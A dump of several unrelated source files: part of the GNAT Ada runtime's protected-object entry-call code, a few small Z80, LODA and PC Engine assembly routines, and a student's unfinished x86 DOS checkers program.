matter. -- Whoever calls _clean first gets to decide whether the call -- has been "cancelled". -- Enqueued should be true if there is any chance that the call is still on -- a queue. It seems to be safe to make it True if the call was Onqueue at -- some point before return from Protected_Entry_Call. -- Cancelled should be true iff the abortable part completed -- and succeeded in cancelling the entry call before it completed. -- ????? -- The need for Enqueued is less obvious. The "if enqueued ()" tests are -- not necessary, since Cancel_Protected_Entry_Call/Protected_Entry_Call -- must do the same test internally, with locking. The one that makes -- cancellation conditional may be a useful heuristic since at least 1/2 -- the time the call should be off-queue by that point. The other one seems -- totally useless, since Protected_Entry_Call must do the same check and -- then possibly wait for the call to be abortable, internally. -- We can check Call.State here without locking the caller's mutex, -- since the call must be over after returning from Wait_For_Completion. -- No other task can access the call record at this point. procedure Cancel_Protected_Entry_Call (Block : in out Communication_Block) is begin Entry_Calls.Try_To_Cancel_Entry_Call (Block.Cancelled); end Cancel_Protected_Entry_Call; --------------- -- Cancelled -- --------------- function Cancelled (Block : Communication_Block) return Boolean is begin return Block.Cancelled; end Cancelled; ------------------------- -- Complete_Entry_Body -- ------------------------- procedure Complete_Entry_Body (Object : Protection_Entries_Access) is begin Exceptional_Complete_Entry_Body (Object, Ada.Exceptions.Null_Id); end Complete_Entry_Body; -------------- -- Enqueued -- -------------- function Enqueued (Block : Communication_Block) return Boolean is begin return Block.Enqueued; end Enqueued; ------------------------------------- -- Exceptional_Complete_Entry_Body -- ------------------------------------- procedure Exceptional_Complete_Entry_Body (Object : Protection_Entries_Access; Ex : Ada.Exceptions.Exception_Id) is procedure Transfer_Occurrence (Target : Ada.Exceptions.Exception_Occurrence_Access; Source : Ada.Exceptions.Exception_Occurrence); pragma Import (C, Transfer_Occurrence, "__gnat_transfer_occurrence"); Entry_Call : constant Entry_Call_Link := Object.Call_In_Progress; Self_Id : Task_Id; begin pragma Debug (Debug.Trace (STPO.Self, "Exceptional_Complete_Entry_Body", 'P')); -- We must have abort deferred, since we are inside a protected -- operation. if Entry_Call /= null then -- The call was not requeued Entry_Call.Exception_To_Raise := Ex; if Ex /= Ada.Exceptions.Null_Id then -- An exception was raised and abort was deferred, so adjust -- before propagating, otherwise the task will stay with deferral -- enabled for its remaining life. Self_Id := STPO.Self; if not ZCX_By_Default then Initialization.Undefer_Abort_Nestable (Self_Id); end if; Transfer_Occurrence (Entry_Call.Self.Common.Compiler_Data.Current_Excep'Access, Self_Id.Common.Compiler_Data.Current_Excep); end if; -- Wakeup_Entry_Caller will be called from PO_Do_Or_Queue or -- PO_Service_Entries on return. end if; if Runtime_Traces then -- ??? Entry_Call can be null Send_Trace_Info (PO_Done, Entry_Call.Self); end if; end Exceptional_Complete_Entry_Body; -------------------- -- PO_Do_Or_Queue -- -------------------- procedure PO_Do_Or_Queue (Self_ID : Task_Id; Object : Protection_Entries_Access; Entry_Call : Entry_Call_Link) is E : constant Protected_Entry_Index := Protected_Entry_Index (Entry_Call.E); Index : constant Protected_Entry_Index := Object.Find_Body_Index (Object.Compiler_Info, E); Barrier_Value : Boolean; Queue_Length : Natural; begin -- When the Action procedure for an entry body returns, it is either -- completed (having called [Exceptional_]Complete_Entry_Body) or it -- is queued, having executed a requeue statement. Barrier_Value := Object.Entry_Bodies (Index).Barrier (Object.Compiler_Info, E); if Barrier_Value then -- Not abortable while service is in progress if Entry_Call.State = Now_Abortable then Entry_Call.State := Was_Abortable; end if; Object.Call_In_Progress := Entry_Call; pragma Debug (Debug.Trace (Self_ID, "PODOQ: start entry body", 'P')); Object.Entry_Bodies (Index).Action ( Object.Compiler_Info, Entry_Call.Uninterpreted_Data, E); if Object.Call_In_Progress /= null then -- Body of current entry served call to completion Object.Call_In_Progress := null; if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Entry_Call.Self); Initialization.Wakeup_Entry_Caller (Self_ID, Entry_Call, Done); STPO.Unlock (Entry_Call.Self); if Single_Lock then STPO.Unlock_RTS; end if; else Requeue_Call (Self_ID, Object, Entry_Call); end if; elsif Entry_Call.Mode /= Conditional_Call or else not Entry_Call.With_Abort then if Run_Time_Restrictions.Set (Max_Entry_Queue_Length) or else Object.Entry_Queue_Maxes /= null then -- Need to check the queue length. Computing the length is an -- unusual case and is slow (need to walk the queue). Queue_Length := Queuing.Count_Waiting (Object.Entry_Queues (E)); if (Run_Time_Restrictions.Set (Max_Entry_Queue_Length) and then Queue_Length >= Run_Time_Restrictions.Value (Max_Entry_Queue_Length)) or else (Object.Entry_Queue_Maxes /= null and then Object.Entry_Queue_Maxes (Index) /= 0 and then Queue_Length >= Object.Entry_Queue_Maxes (Index)) then -- This violates the Max_Entry_Queue_Length restriction or the -- Max_Queue_Length bound, raise Program_Error. Entry_Call.Exception_To_Raise := Program_Error'Identity; if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Entry_Call.Self); Initialization.Wakeup_Entry_Caller (Self_ID, Entry_Call, Done); STPO.Unlock (Entry_Call.Self); if Single_Lock then STPO.Unlock_RTS; end if; return; end if; end if; -- Do the work: queue the call Queuing.Enqueue (Object.Entry_Queues (E), Entry_Call); Update_For_Queue_To_PO (Entry_Call, Entry_Call.With_Abort); return; else -- Conditional_Call and With_Abort if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Entry_Call.Self); pragma Assert (Entry_Call.State /= Not_Yet_Abortable); Initialization.Wakeup_Entry_Caller (Self_ID, Entry_Call, Cancelled); STPO.Unlock (Entry_Call.Self); if Single_Lock then STPO.Unlock_RTS; end if; end if; exception when others => Queuing.Broadcast_Program_Error (Self_ID, Object, Entry_Call); end PO_Do_Or_Queue; ------------------------ -- PO_Service_Entries -- ------------------------ procedure PO_Service_Entries (Self_ID : Task_Id; Object : Entries.Protection_Entries_Access; Unlock_Object : Boolean := True) is E : Protected_Entry_Index; Caller : Task_Id; Entry_Call : Entry_Call_Link; begin loop Queuing.Select_Protected_Entry_Call (Self_ID, Object, Entry_Call); exit when Entry_Call = null; E := Protected_Entry_Index (Entry_Call.E); -- Not abortable while service is in progress if Entry_Call.State = Now_Abortable then Entry_Call.State := Was_Abortable; end if; Object.Call_In_Progress := Entry_Call; begin if Runtime_Traces then Send_Trace_Info (PO_Run, Self_ID, Entry_Call.Self, Entry_Index (E)); end if; pragma Debug (Debug.Trace (Self_ID, "POSE: start entry body", 'P')); Object.Entry_Bodies (Object.Find_Body_Index (Object.Compiler_Info, E)).Action (Object.Compiler_Info, Entry_Call.Uninterpreted_Data, E); exception when others => Queuing.Broadcast_Program_Error (Self_ID, Object, Entry_Call); end; if Object.Call_In_Progress = null then Requeue_Call (Self_ID, Object, Entry_Call); exit when Entry_Call.State = Cancelled; else Object.Call_In_Progress := null; Caller := Entry_Call.Self; if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Caller); Initialization.Wakeup_Entry_Caller (Self_ID, Entry_Call, Done); STPO.Unlock (Caller); if Single_Lock then STPO.Unlock_RTS; end if; end if; end loop; if Unlock_Object then Unlock_Entries (Object); end if; end PO_Service_Entries; --------------------- -- Protected_Count -- --------------------- function Protected_Count (Object : Protection_Entries'Class; E : Protected_Entry_Index) return Natural is begin return Queuing.Count_Waiting (Object.Entry_Queues (E)); end Protected_Count; -------------------------- -- Protected_Entry_Call -- -------------------------- -- Compiler interface only (do not call from within the RTS) -- select r.e; -- ...A... -- else -- ...B... -- end select; -- declare -- X : protected_entry_index := 1; -- B85b : communication_block; -- communication_blockIP (B85b); -- begin -- protected_entry_call (rTV!(r)._object'unchecked_access, X, -- null_address, conditional_call, B85b, objectF => 0); -- if cancelled (B85b) then -- ...B... -- else -- ...A... -- end if; -- end; -- See also Cancel_Protected_Entry_Call for code expansion of asynchronous -- entry call. -- The initial part of this procedure does not need to lock the calling -- task's ATCB, up to the point where the call record first may be queued -- (PO_Do_Or_Queue), since before that no other task will have access to -- the record. -- If this is a call made inside of an abort deferred region, the call -- should be never abortable. -- If the call was not queued abortably, we need to wait until it is before -- proceeding with the abortable part. -- There are some heuristics here, just to save time for frequently -- occurring cases. For example, we check Initially_Abortable to try to -- avoid calling the procedure Wait_Until_Abortable, since the normal case -- for async. entry calls is to be queued abortably. -- Another heuristic uses the Block.Enqueued to try to avoid calling -- Cancel_Protected_Entry_Call if the call can be served immediately. procedure Protected_Entry_Call (Object : Protection_Entries_Access; E : Protected_Entry_Index; Uninterpreted_Data : System.Address; Mode : Call_Modes; Block : out Communication_Block) is Self_ID : constant Task_Id := STPO.Self; Entry_Call : Entry_Call_Link; Initially_Abortable : Boolean; Ceiling_Violation : Boolean; begin pragma Debug (Debug.Trace (Self_ID, "Protected_Entry_Call", 'P')); if Runtime_Traces then Send_Trace_Info (PO_Call, Entry_Index (E)); end if; if Self_ID.ATC_Nesting_Level = ATC_Level'Last then raise Storage_Error with "not enough ATC nesting levels"; end if; -- If pragma Detect_Blocking is active then Program_Error must be -- raised if this potentially blocking operation is called from a -- protected action. if Detect_Blocking and then Self_ID.Common.Protected_Action_Nesting > 0 then raise Program_Error with "potentially blocking operation"; end if; -- Self_ID.Deferral_Level should be 0, except when called from Finalize, -- where abort is already deferred. Initialization.Defer_Abort_Nestable (Self_ID); Lock_Entries_With_Status (Object, Ceiling_Violation); if Ceiling_Violation then -- Failed ceiling check Initialization.Undefer_Abort_Nestable (Self_ID); raise Program_Error; end if; Block.Self := Self_ID; Self_ID.ATC_Nesting_Level := Self_ID.ATC_Nesting_Level + 1; pragma Debug (Debug.Trace (Self_ID, "PEC: entered ATC level: " & ATC_Level'Image (Self_ID.ATC_Nesting_Level), 'A')); Entry_Call := Self_ID.Entry_Calls (Self_ID.ATC_Nesting_Level)'Access; Entry_Call.Next := null; Entry_Call.Mode := Mode; Entry_Call.Cancellation_Attempted := False; Entry_Call.State := (if Self_ID.Deferral_Level > 1 then Never_Abortable else Now_Abortable); Entry_Call.E := Entry_Index (E); Entry_Call.Prio := STPO.Get_Priority (Self_ID); Entry_Call.Uninterpreted_Data := Uninterpreted_Data; Entry_Call.Called_PO := To_Address (Object); Entry_Call.Called_Task := null; Entry_Call.Exception_To_Raise := Ada.Exceptions.Null_Id; Entry_Call.With_Abort := True; PO_Do_Or_Queue (Self_ID, Object, Entry_Call); Initially_Abortable := Entry_Call.State = Now_Abortable; PO_Service_Entries (Self_ID, Object); -- Try to prevent waiting later (in Try_To_Cancel_Protected_Entry_Call) -- for completed or cancelled calls. (This is a heuristic, only.) if Entry_Call.State >= Done then -- Once State >= Done it will not change any more if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Self_ID); Utilities.Exit_One_ATC_Level (Self_ID); STPO.Unlock (Self_ID); if Single_Lock then STPO.Unlock_RTS; end if; Block.Enqueued := False; Block.Cancelled := Entry_Call.State = Cancelled; Initialization.Undefer_Abort_Nestable (Self_ID); Entry_Calls.Check_Exception (Self_ID, Entry_Call); return; else -- In this case we cannot conclude anything, since State can change -- concurrently. null; end if; -- Now for the general case if Mode = Asynchronous_Call then -- Try to avoid an expensive call if not Initially_Abortable then if Single_Lock then STPO.Lock_RTS; Entry_Calls.Wait_Until_Abortable (Self_ID, Entry_Call); STPO.Unlock_RTS; else Entry_Calls.Wait_Until_Abortable (Self_ID, Entry_Call); end if; end if; else case Mode is when Conditional_Call | Simple_Call => if Single_Lock then STPO.Lock_RTS; Entry_Calls.Wait_For_Completion (Entry_Call); STPO.Unlock_RTS; else STPO.Write_Lock (Self_ID); Entry_Calls.Wait_For_Completion (Entry_Call); STPO.Unlock (Self_ID); end if; Block.Cancelled := Entry_Call.State = Cancelled; when Asynchronous_Call | Timed_Call => pragma Assert (False); null; end case; end if; Initialization.Undefer_Abort_Nestable (Self_ID); Entry_Calls.Check_Exception (Self_ID, Entry_Call); end Protected_Entry_Call; ------------------ -- Requeue_Call -- ------------------ procedure Requeue_Call (Self_Id : Task_Id; Object : Protection_Entries_Access; Entry_Call : Entry_Call_Link) is New_Object : Protection_Entries_Access; Ceiling_Violation : Boolean; Result : Boolean; E : Protected_Entry_Index; begin New_Object := To_Protection (Entry_Call.Called_PO); if New_Object = null then -- Call is to be requeued to a task entry if Single_Lock then STPO.Lock_RTS; end if; Result := Rendezvous.Task_Do_Or_Queue (Self_Id, Entry_Call); if not Result then Queuing.Broadcast_Program_Error (Self_Id, Object, Entry_Call, RTS_Locked => True); end if; if Single_Lock then STPO.Unlock_RTS; end if; else -- Call should be requeued to a PO if Object /= New_Object then -- Requeue is to different PO Lock_Entries_With_Status (New_Object, Ceiling_Violation); if Ceiling_Violation then Object.Call_In_Progress := null; Queuing.Broadcast_Program_Error (Self_Id, Object, Entry_Call); else PO_Do_Or_Queue (Self_Id, New_Object, Entry_Call); PO_Service_Entries (Self_Id, New_Object); end if; else -- Requeue is to same protected object -- ??? Try to compensate apparent failure of the scheduler on some -- OS (e.g VxWorks) to give higher priority tasks a chance to run -- (see CXD6002). STPO.Yield (Do_Yield => False); if Entry_Call.With_Abort and then Entry_Call.Cancellation_Attempted then -- If this is a requeue with abort and someone tried to cancel -- this call, cancel it at this point. Entry_Call.State := Cancelled; return; end if; if not Entry_Call.With_Abort or else Entry_Call.Mode /= Conditional_Call then E := Protected_Entry_Index (Entry_Call.E); if Run_Time_Restrictions.Set (Max_Entry_Queue_Length) and then Run_Time_Restrictions.Value (Max_Entry_Queue_Length) <= Queuing.Count_Waiting (Object.Entry_Queues (E)) then -- This violates the Max_Entry_Queue_Length restriction, -- raise Program_Error. Entry_Call.Exception_To_Raise := Program_Error'Identity; if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Entry_Call.Self); Initialization.Wakeup_Entry_Caller (Self_Id, Entry_Call, Done); STPO.Unlock (Entry_Call.Self); if Single_Lock then STPO.Unlock_RTS; end if; else Queuing.Enqueue (New_Object.Entry_Queues (E), Entry_Call); Update_For_Queue_To_PO (Entry_Call, Entry_Call.With_Abort); end if; else PO_Do_Or_Queue (Self_Id, New_Object, Entry_Call); end if; end if; end if; end Requeue_Call; ---------------------------- -- Protected_Entry_Caller -- ---------------------------- function Protected_Entry_Caller (Object : Protection_Entries'Class) return Task_Id is begin return Object.Call_In_Progress.Self; end Protected_Entry_Caller; ----------------------------- -- Requeue_Protected_Entry -- ----------------------------- -- Compiler interface only (do not call from within the RTS) -- entry e when b is -- begin -- b := false; -- ...A... -- requeue e2; -- end e; -- procedure rPT__E10b (O : address; P : address; E : -- protected_entry_index) is -- type rTVP is access rTV; -- freeze rTVP [] -- _object : rTVP := rTVP!(O); -- begin -- declare -- rR : protection renames _object._object; -- vP : integer renames _object.v; -- bP : boolean renames _object.b; -- begin -- b := false; -- ...A... -- requeue_protected_entry (rR'unchecked_access, rR' -- unchecked_access, 2, false, objectF => 0, new_objectF => -- 0); -- return; -- end; -- complete_entry_body (_object._object'unchecked_access, objectF => -- 0); -- return; -- exception -- when others => -- abort_undefer.all; -- exceptional_complete_entry_body (_object._object' -- unchecked_access, current_exception, objectF => 0); -- return; -- end rPT__E10b; procedure Requeue_Protected_Entry (Object : Protection_Entries_Access; New_Object : Protection_Entries_Access; E : Protected_Entry_Index; With_Abort : Boolean) is Entry_Call : constant Entry_Call_Link := Object.Call_In_Progress; begin pragma Debug (Debug.Trace (STPO.Self, "Requeue_Protected_Entry", 'P')); pragma Assert (STPO.Self.Deferral_Level > 0); Entry_Call.E := Entry_Index (E); Entry_Call.Called_PO := To_Address (New_Object); Entry_Call.Called_Task := null; Entry_Call.With_Abort := With_Abort; Object.Call_In_Progress := null; end Requeue_Protected_Entry; ------------------------------------- -- Requeue_Task_To_Protected_Entry -- ------------------------------------- -- Compiler interface only (do not call from within the RTS) -- accept e1 do -- ...A... -- requeue r.e2; -- end e1; -- A79b : address; -- L78b : label -- begin -- accept_call (1, A79b); -- ...A... -- requeue_task_to_protected_entry (rTV!(r)._object' -- unchecked_access, 2, false, new_objectF => 0); -- goto L78b; -- <<L78b>> -- complete_rendezvous; -- exception -- when all others => -- exceptional_complete_rendezvous (get_gnat_exception); -- end; procedure Requeue_Task_To_Protected_Entry (New_Object : Protection_Entries_Access; E : Protected_Entry_Index; With_Abort : Boolean) is Self_ID : constant Task_Id := STPO.Self; Entry_Call : constant Entry_Call_Link := Self_ID.Common.Call; begin Initialization.Defer_Abort (Self_ID); -- We do not need to lock Self_ID here since the call is not abortable -- at this point, and therefore, the caller cannot cancel the call. Entry_Call.Needs_Requeue := True; Entry_Call.With_Abort := With_Abort; Entry_Call.Called_PO := To_Address (New_Object); Entry_Call.Called_Task := null; Entry_Call.E := Entry_Index (E); Initialization.Undefer_Abort (Self_ID); end Requeue_Task_To_Protected_Entry; --------------------- -- Service_Entries -- --------------------- procedure Service_Entries (Object : Protection_Entries_Access) is Self_ID : constant Task_Id := STPO.Self; begin PO_Service_Entries (Self_ID, Object); end Service_Entries; -------------------------------- -- Timed_Protected_Entry_Call -- -------------------------------- -- Compiler interface only (do not call from within the RTS) procedure Timed_Protected_Entry_Call (Object : Protection_Entries_Access; E : Protected_Entry_Index; Uninterpreted_Data : System.Address; Timeout : Duration; Mode : Delay_Modes; Entry_Call_Successful : out Boolean) is Self_Id : constant Task_Id := STPO.Self; Entry_Call : Entry_Call_Link; Ceiling_Violation : Boolean; Yielded : Boolean; pragma Unreferenced (Yielded); begin if Self_Id.ATC_Nesting_Level = ATC_Level'Last then raise Storage_Error with "not enough ATC nesting levels"; end if; -- If pragma Detect_Blocking is active then Program_Error must be -- raised if this potentially blocking operation is called from a -- protected action. if Detect_Blocking and then Self_Id.Common.Protected_Action_Nesting > 0 then raise Program_Error with "potentially blocking operation"; end if; if Runtime_Traces then Send_Trace_Info (POT_Call, Entry_Index (E), Timeout); end if; Initialization.Defer_Abort_Nestable (Self_Id); Lock_Entries_With_Status (Object, Ceiling_Violation); if Ceiling_Violation then Initialization.Undefer_Abort (Self_Id); raise Program_Error; end if; Self_Id.ATC_Nesting_Level := Self_Id.ATC_Nesting_Level + 1; pragma Debug (Debug.Trace (Self_Id, "TPEC: exited to ATC level: " & ATC_Level'Image (Self_Id.ATC_Nesting_Level), 'A')); Entry_Call := Self_Id.Entry_Calls (Self_Id.ATC_Nesting_Level)'Access; Entry_Call.Next := null; Entry_Call.Mode := Timed_Call; Entry_Call.Cancellation_Attempted := False; Entry_Call.State := (if Self_Id.Deferral_Level > 1 then Never_Abortable else Now_Abortable); Entry_Call.E := Entry_Index (E); Entry_Call.Prio := STPO.Get_Priority (Self_Id); Entry_Call.Uninterpreted_Data := Uninterpreted_Data; Entry_Call.Called_PO := To_Address (Object); Entry_Call.Called_Task := null; Entry_Call.Exception_To_Raise := Ada.Exceptions.Null_Id; Entry_Call.With_Abort := True; PO_Do_Or_Queue (Self_Id, Object, Entry_Call); PO_Service_Entries (Self_Id, Object); if Single_Lock then STPO.Lock_RTS; else STPO.Write_Lock (Self_Id); end if; -- Try to avoid waiting for completed or cancelled calls if Entry_Call.State >= Done then Utilities.Exit_One_ATC_Level (Self_Id); if Single_Lock then STPO.Unlock_RTS; else STPO.Unlock (Self_Id); end if; Entry_Call_Successful := Entry_Call.State = Done; Initialization.Undefer_Abort_Nestable (Self_Id); Entry_Calls.Check_Exception (Self_Id, Entry_Call); return; end if; Entry_Calls.Wait_For_Completion_With_Timeout (Entry_Call, Timeout, Mode, Yielded); if Single_Lock then STPO.Unlock_RTS; else STPO.Unlock (Self_Id); end if; -- ??? Do we need to yield in case Yielded is False Initialization.Undefer_Abort_Nestable (Self_Id); Entry_Call_Successful := Entry_Call.State = Done; Entry_Calls.Check_Exception (Self_Id, Entry_Call); end Timed_Protected_Entry_Call; ---------------------------- -- Update_For_Queue_To_PO -- ---------------------------- -- Update the state of an existing entry call, based on -- whether the current queuing action is with or without abort. -- Call this only while holding the server's lock. -- It returns with the server's lock released. New_State : constant array (Boolean, Entry_Call_State) of Entry_Call_State := (True => (Never_Abortable => Never_Abortable, Not_Yet_Abortable => Now_Abortable, Was_Abortable => Now_Abortable, Now_Abortable => Now_Abortable, Done => Done, Cancelled => Cancelled), False => (Never_Abortable => Never_Abortable, Not_Yet_Abortable => Not_Yet_Abortable, Was_Abortable => Was_Abortable, Now_Abortable => Now_Abortable, Done => Done, Cancelled => Cancelled) ); procedure Update_For_Queue_To_PO (Entry_Call : Entry_Call_Link; With_Abort : Boolean) is Old : constant Entry_Call_State := Entry_Call.State; begin pragma Assert (Old < Done); Entry_Call.State := New_State (With_Abort, Entry_Call.State); if Entry_Call.Mode = Asynchronous_Call then if Old < Was_Abortable and then Entry_Call.State = Now_Abortable then if Single_Lock then STPO.Lock_RTS; end if; STPO.Write_Lock (Entry_Call.Self); if Entry_Call.Self.Common.State = Async_Select_Sleep then STPO.Wakeup (Entry_Call.Self, Async_Select_Sleep); end if; STPO.Unlock (Entry_Call.Self); if Single_Lock then STPO.Unlock_RTS; end if; end if; elsif Entry_Call.Mode = Conditional_Call then pragma Assert (Entry_Call.State < Was_Abortable); null; end if; end Update_For_Queue_To_PO; end System.Tasking.Protected_Objects.Operations;
libsrc/osca/parent_dir.asm
RC2014Z80/z88dk
8
29182
; ; Get the FLOS version number ; by <NAME>, 2011 ; ; ; ; $Id: parent_dir.asm,v 1.4 2017-01-02 23:35:59 aralbrec Exp $ ; INCLUDE "flos.def" SECTION code_clib PUBLIC parent_dir PUBLIC _parent_dir EXTERN flos_err parent_dir: _parent_dir: call kjt_parent_dir jp flos_err
oeis/136/A136444.asm
neoneye/loda-programs
11
13002
<filename>oeis/136/A136444.asm ; A136444: a(n) = Sum_{k=0..n} k*binomial(n-k, 2*k). ; Submitted by <NAME> ; 0,0,0,1,3,6,12,25,51,101,197,381,731,1392,2634,4958,9290,17337,32239,59760,110460,203651,374593,687567,1259597,2303449,4205493,7666560,13956532,25374108,46076436,83575025,151431099,274108826,495708364,895670733,1617003823,2916984121 sub $0,1 lpb $0 mul $1,$2 add $3,$1 mov $1,$0 sub $0,1 add $2,2 bin $1,$2 lpe mov $0,$3 div $0,2
src/irq_1.asm
BlockoS/up-18
3
86987
<filename>src/irq_1.asm _irq_1: bbs1 <irq_m, @user_hook pha ; save registers phx phy lda video_reg ; get VDC status register sta <vdc_sr @vsync: ; vsync interrupt bbr5 <vdc_sr, @hsync inc <irq_cnt ; update irq counter (for wait_vsync) ; [todo] ; st0 #$05 ; update display control (bg/sp) ; lda <vdc_crl ; vdc control register ; sta video_data_l ; lda <vdc_crh ; sta video_data_h bbs5 <irq_m, @l3 jsr default_vsync_handler @l3: bbr4 <irq_m, @l4 jsr @user_vsync @l4: @hsync: bbr2 <vdc_sr, @exit bbs7 <irq_m, @l5 jsr default_hsync_handler @l5: bbr6 <irq_m, @exit jsr @user_hsync @exit: lda <vdc_reg ; restore VDC register index sta video_reg ply ; restore registers plx pla rti @user_hook: jmp [irq1_hook] @user_hsync: jmp [hsync_hook] @user_vsync: jmp [vsync_hook] default_vsync_handler: ; [todo] rts default_hsync_handler: ; [todo] rts
v2.asm
lestersantos/Assembly2019
0
94924
<reponame>lestersantos/Assembly2019 ; C O L U M N A ; 0 1 2 3 4 5 6 7 ; 0 01 02 03 04 05 06 07 08 R ; 1 09 10 11 12 13 14 15 16 E ; 2 17 18 19 20 21 22 23 24 N ; 3 25 26 27 28 29 30 31 32 G ; 4 33 34 35 36 37 38 39 40 L ; 5 41 42 43 44 45 46 47 48 O ; 6 49 50 51 52 53 54 55 56 N ; 7 57 58 59 60 61 62 63 64 .model small .stack 200h VAL_LF EQU 10 ; constante de la line fide VAL_RET EQU 13 ; variable de retorno CHR_FIN EQU '$' MAX_COL EQU 8 ; son 4 porque esta normal (imprime normal 2 lines) MAX_COL2 EQU 10 ; son 6 porque se le suma el fin y salto de linea (imprime como matriz) ;==================================================================================== ;==================================================================================== ;==================================================================================== ;==================================================================================== .data ; Definimos un nuevo arreglo de 4 por 4----> duplico 4 bites ;y dentro de ellos otros 4 OJO en si 4 reglones 6 columnas esta es para desplegar ya como ; 0 1 2 3 4 VAL_LF VAL_RET ; 0 01 02 03 04 05 - - ; 1 06 07 08 09 10 - - ; 2 11 12 13 14 15 - - ; 3 16 17 18 19 20 - - ; 4 21 22 23 24 25 - - matIntEdades2 DB 8 DUP (8 DUP ("x"),VAL_LF,VAL_RET) strFin2 DB VAL_LF,VAL_RET,CHR_FIN ;<NAME> titulo db 13,10,'Universidad de Sancarlos de Guatemala',13,10,'$' titulo2 db 13,10,'Facultad de Ingenieria',13,10,'$' titulo3 db 13,10,'Ciencias y Sistemas',13,10,'$' titulo4 db 13,10,'Arquitectura de Computadores y Ensambladores 1',13,10,'$' titulo5 db 13,10,'Nombre: <NAME>',13,10,'$' titulo6 db 13,10,'Carnet: 201513858',13,10,'$' titulo7 db 13,10,'Seccion: A',13,10,'$' mensaje db '-1 Iniciar Juego',13,10,'-2 Cargar Juego',13,10,'-3 Salir',13,10,'$' mensaje1 db 'Pantalla en color azul',13,10,'$' mensaje2 db 'Pantalla en color morado',13,10,'$' mensaje3 db 'Pantalla en color gris con letras negras',13,10,'$' ;MENSJAES DEL JUEGO mensajejuego db 13,10,'Turno Blancas: ','$' mensajejuego2 db 13,10,'Turno Negras: ','$' mensajejuego3 db 13,10,'Casilla Actual x-y: ','$' mensajejuego4 db 13,10,'Casilla Destino x-y: ','$' mensajejuego5 db 13,10,'Casilla Actual y-x: ','$' mensajejuego6 db 13,10,'Casilla Destino y-x: ','$' mensajejuego7 db 13,10,'Casilla Actual/Destino: ','$' ;variables para la posicion del juego a moverser n_xActual db ? n_yActual db ? n_xDestino db ? n_yDestino db ? ;==================================================================================== ;==================================================================================== ;==================================================================================== ;==================================================================================== cadena db 100 dup(' '),'$' cadenaTurnos db 100 dup(' '),'$' .code codigo segment assume ds:@data, cs:codigo inicio: mov ax,@data ;llamar a .data mov ds,ax ;guardar los datos en ds mov ah,0 ;limpia el registro ;================CARATULA=============================== ;======================================================== lea dx,titulo ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo2 ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo3 ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo4 ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo5 ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo6 ;imprimir el mensaje mov ah,9h int 21h lea dx,titulo7 ;imprimir el mensaje mov ah,9h int 21h ;=====================================================================0 lea dx,mensaje ;imprimir mensaje mov ah,9h int 21h ;nueva comparacion mov ah, 3fh mov bx,00 mov cx,100 mov dx, offset[cadena] int 21h mov ah, 09h mov dx, offset[cadena] int 21h ;para los otros comandos cmp cadena[0],'e'; para exit jz CarharJuegoMetodo cmp cadena[0],'s'; para exit jz CarharJuegoMetodo cmp cadena[1],'h'; para show jz CarharJuegoMetodo ;para los comandos cmp cadena[0],'1' jz IniciarJuegoMetodo ; inicar juego cmp cadena[0],'2' jz CarharJuegoMetodo ; cargar juego cmp cadena[0],'3' jz FinalizarJuego ;termina nueva comparacion FinalizarJuego: mov ax,4c00h ;funcion que termina el programa int 21h IniciarJuegoMetodo: ;llama al procedimiento CALL CargarTablero CarharJuegoMetodo: CALL MORADOPROC ;llama al procedimiento CargarTableroMetodo: CALL CargarTablero CargarTablero PROC NEAR ; movemos a ax los datos mov ax, @data ; movesmo a ds ax mov ds,ax ;PARTE DE MODIFICACION DE LA MATRIZ modificamos un valor en la matriz normal ;FORMULA= REN * MAX_COL + COL ; movemos para mostrar el mensaje mov dx,offset matIntEdades2 mov ah,09 int 21h ;FORMULA= REN * MAX_COL + COL ;FICHASNEGRAS mov matIntEdades2 + 0 * MAX_COL2 + 1,78 ; muevo e 0 a REN 0 COL 2 mov matIntEdades2 + 0 * MAX_COL2 + 3,78 mov matIntEdades2 + 0 * MAX_COL2 + 5,78 mov matIntEdades2 + 0 * MAX_COL2 + 7,78 mov matIntEdades2 + 1 * MAX_COL2 + 0,78 mov matIntEdades2 + 1 * MAX_COL2 + 2,78 mov matIntEdades2 + 1 * MAX_COL2 + 4,78 mov matIntEdades2 + 2 * MAX_COL2 + 1,78 mov matIntEdades2 + 2 * MAX_COL2 + 3,78 mov matIntEdades2 + 2 * MAX_COL2 + 5,78 mov matIntEdades2 + 2 * MAX_COL2 + 7,78 ;FICHASBLANCAS mov matIntEdades2 + 7 * MAX_COL2 + 0,66 ; muevo e 0 a REN 0 COL 2 mov matIntEdades2 + 7 * MAX_COL2 + 2,66 mov matIntEdades2 + 7 * MAX_COL2 + 4,66 mov matIntEdades2 + 7 * MAX_COL2 + 6,66 mov matIntEdades2 + 6 * MAX_COL2 + 1,66 mov matIntEdades2 + 6 * MAX_COL2 + 3,66 mov matIntEdades2 + 6 * MAX_COL2 + 5,66 mov matIntEdades2 + 6 * MAX_COL2 + 7,66 mov matIntEdades2 + 5 * MAX_COL2 + 0,66 mov matIntEdades2 + 5 * MAX_COL2 + 2,66 mov matIntEdades2 + 5 * MAX_COL2 + 4,66 mov matIntEdades2 + 5 * MAX_COL2 + 6,66 int 21h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar CALL PROBLANCASACTUAL RET CargarTablero ENDP ;PROCESO DE BLANCAS========================================================================================================= ;PROCESOSTEMPORALES si sirve es para movimiento blancas ACTUAL PROBLANCASACTUAL PROC NEAR mov ah,0 ;limpia el registro mov al,3h ;modo de texto int 10h mov ah,08 ;pausa y espera a que el usuario precione una tecla int 21h ;interrupcion para capturar ;imprimios lea dx,mensajejuego; =turno de blancas mov ah,9h int 21h ; imprmimos lea dx,mensajejuego3; posicion actual x-y mov ah,9h int 21h ;=== ;nueva comparacion mov ah, 3fh mov bx,00 mov cx,100 mov dx, offset[cadena] int 21h mov ah, 09h mov dx, offset[cadena] int 21h ;para los otros comandos cmp cadena[0],'E'; para exit jz LLAMARAINICIO ;para los comandos cmp cadena[0],'a' jz VariableXactualM ; inicar juego 